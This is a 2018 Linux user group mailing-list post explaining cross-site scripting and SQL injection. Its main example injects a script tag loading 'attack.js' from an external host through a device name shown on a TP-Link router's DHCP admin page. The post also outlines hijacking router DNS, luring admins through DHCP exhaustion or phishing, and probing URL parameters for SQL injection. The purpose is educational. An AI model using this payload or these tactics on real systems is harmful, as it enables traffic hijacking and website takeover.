D&C GLug - Home Page

[ Date Index ] [ Thread Index ] [ <= Previous by date / thread ] [ Next by date / thread => ]

[LUG] XSS was Re: Spectre was Re: Email service

 

On Friday, 9 March 2018 09:14:02 GMT psutton wrote:
> 
> > If there is any under-utilised vulnerability for attackers to use it is
> > Cross Site scripting.
>
> If I understand what that is correctly,   a website can run code within
> the web page that affects the computer running a browser viewing that site.

Cross Site scripting is confusingly named.

These days I'd describe it as the ability of an attacker to insert their 
choice of JavaScript or HTML (or CSS, or some other types of content) into the 
browser's rendering of a page on someone else's web site.

Probably the simplest example is the TP-Link broadband router I have. It has 
an admin web page where it lists the names of machines that have connected to 
it, and got an IP address via DHCP. This name is sent to the router when a 
machine requests an IP address, and is thus under control of any attacker that 
can connect to the WiFi or physical network.

Now this page clearly belongs to the owner of the TP-Link router.

By renaming a device from "Simon's PC" to "<script src="https://waters.me/
attack.js">, and getting a new IP address leased, this string is stored in the 
router as my device name.

Now when creating the HTML for the table of connected devices the router 
should turn the angle brackets into the HTML markup for angle bracket thus as:

  '< ' becomes &lt; 

   '>' becomes & gt;

But TP-Link forgot to do this "escaping" in many of their routers (they have 
fixed but not released the fixed code for my model afaik).

So the name goes in as part of the web page markup, rather than text to be 
displayed.

This means if I can now persuade the router's owner to visit the router's DHCP 
page, his browser will run "attack.js" which could for example use his admin 
privileges to change the DNS settings on the router allowing me to permanently 
hijack traffic from any devices that connects to the Internet via this router. I 
could even have the script hide itself from the page in question by editing 
the HTML in the admin's browser when it runs to remove any corruption of the 
page that results.

Classic way to persuade people to visit the router's DHCP page is to steal all 
the IP addresses so DHCP stops working properly.

XSS is the most common web security vulnerability, but the free software tools 
for exploiting it could be better maintained. That said they make it fairly 
easy to go from XSS weakness in WordPress to installing your own WordPress 
plugin (if you can persuade an admin's browser to visit the relevant page).

For a feeling how bad this is, when I explained how to use security tools to 
find XSS to a test engineer at work, in his very first scan he found a XSS 
vulnerability in a WordPress plugin with over a million active installs. 

The only thing stopping him owning a million websites was persuading the 
1,000,000 site admins to visit the relevant page when they were logged in. We 
could have tried emailing out dodgy links to a million webmaster@<domain>" 
addresses, bound to catch a few out of a million with that address. Some 
WordPress sites leak admin email too. 

XSS was used extensively to abuse Yahoo email accounts in the past. But it is 
often used in more targeted attacks where you know in advance precisely who 
you want to visit the dodgy links, when logged into which service, but really 
depends on the web application and the precise nature of the XSS issue. 

TP-Link's DHCP issue for example requires local access, and since DHCP leases 
expire, the attack will naturally expire after a few hours if it isn't 
renewed. That said it might be possible to rename a printer, or some other 
device on a corporate network so it keeps the attack alive for an extended 
period. If it worth enough the attacker could leave a Raspberry Pi or other 
cheap device plugged in making the requests whilst trying other mischief on 
the network.

> on a related note.
> 
> I know sql injection is about being able to type sql commands in to a
> form that is not genarlly meant to support that but by doing so users
> can gain access to data or the computer running the server

It is not just forms, any data under the attacker's control which is put into 
the SQL statement without appropriate escaping can be used, sure forms are a 
common source of data, but some of my best finds are URL parameters, I've found 
many places where web pages listing a variable number of entries and starting 
from a particular point in a list are vulnerable because PHP programmers often 
forget to make sure these are integers before shoving them into SQL. e.g. for 
"https://example.com/somelisting?order=price&count=10&from=1"; it is a safe bet 
all three variables are being chucked into some sort of database query.

SQL injection is easier to prevent, because you have to make very specific 
mistakes, where as many web frameworks insist the developer remember to escape 
every value every time which is naturally a disaster, also the developers need 
to use different escaping functions in different places, humans are dreadful 
at maintaining that sort of accuracy and consistency, and nearly any omission 
or confusion may be a XSS issue.

Attachment: signature.asc
Description: This is a digitally signed message part.

-- 
The Mailing List for the Devon & Cornwall LUG
https://mailman.dclug.org.uk/listinfo/list
FAQ: http://www.dcglug.org.uk/listfaq